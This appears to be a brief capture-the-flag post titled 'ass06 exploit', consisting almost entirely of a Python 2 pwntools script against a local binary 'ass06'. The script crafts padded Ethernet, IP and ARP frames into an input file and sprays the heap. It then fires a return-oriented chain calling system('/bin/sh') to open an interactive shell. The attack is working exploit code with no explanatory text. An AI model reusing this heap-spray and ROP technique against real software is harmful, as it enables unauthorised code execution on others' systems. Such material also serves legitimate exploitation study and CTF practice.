ass06 exploit
by St1tch아는사람들은 아는문제 exploit!
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| from pwn import * | |
| context.log_level = 'info' | |
| trans_ip = lambda addr : ''.join(map(lambda x:chr(eval(x)), addr.split('.'))) | |
| trans_mac = lambda mac : ''.join(map(lambda x:x.decode('hex'), mac.split(':'))) | |
| p16 = lambda x : struct.pack('>H', x) | |
| padd = lambda x : x.ljust(1514, 'a') | |
| execmd = lambda cmd : subprocess.check_output(cmd, shell=True) | |
| def custom_packet(): | |
| mac1 = trans_mac('00:0c:0f:14:15:17') | |
| ip_p = p16(0x0800) | |
| arp_p = p16(0x0806) | |
| ip1 = trans_ip('128.128.0.100') | |
| fwd_p1 = p16(0x0208) # new | |
| fwd_p2 = p16(0x0202) # delete | |
| fwd_p3 = p16(0x0200) # execute | |
| ip_default = mac1 + 'a'*6 + ip_p + 'b'*16 + ip1 + 'a'*2 | |
| arp_default = mac1 + 'a'*6 + arp_p + '\x00\x01' + '\x08\x00' + '\x06\x04' + '\x00\x01' + 'a'*6 | |
| poprdi = p64(0x406853) | |
| binsh = p64(heap + 0x10) | |
| addr = p64(heap) | |
| system = p64(0x4013e0) | |
| ret = p64(0x401309) | |
| payload = ret*160 + poprdi + binsh + system | |
| pay1 = padd(ip_default + fwd_p1) | |
| pay2 = padd(ip_default + fwd_p2) | |
| pay3 = padd(ip_default + fwd_p3 + 'a'*2 + payload) | |
| arp_pay2 = padd(arp_default + 'b'*18 + addr + 'A'*1400) | |
| open('a','wb').write(pay1 + pay1 + pay2 + arp_pay2 + pay3) | |
| log.success('Success making payload.') | |
| def spray(addr): | |
| s.sendlineafter('>>', '2') | |
| s.sendlineafter('>>', '2') | |
| p = log.progress('target addr = {}, spraying....'.format(hex(heap))) | |
| for cnt in range(100000): | |
| p.status(str(cnt+1)) | |
| if (cnt % 1000) == 0: | |
| res = execmd('cat /proc/{}/maps | grep heap'.format(pid)) | |
| print res | |
| if int(re.findall('[\w]{8}',res)[1], 16) > heap: | |
| p.success('spray success!') | |
| s.clean(0.0001) | |
| break | |
| s.send((('1\n'*5 + '/bin/sh;'+'#'*8 + p32(addr) + '\n')*8 + '2\n'*8)*20) | |
| s.clean(0.0001) | |
| if __name__ == '__main__': | |
| heap = 0x03101000 | |
| custom_packet() | |
| s = process(['./ass06', './a', './a', './a']) | |
| pid = util.proc.pidof(s)[0] | |
| pause() | |
| spray(0x4029b5) | |
| s.sendline('3') | |
| s.interactive() |
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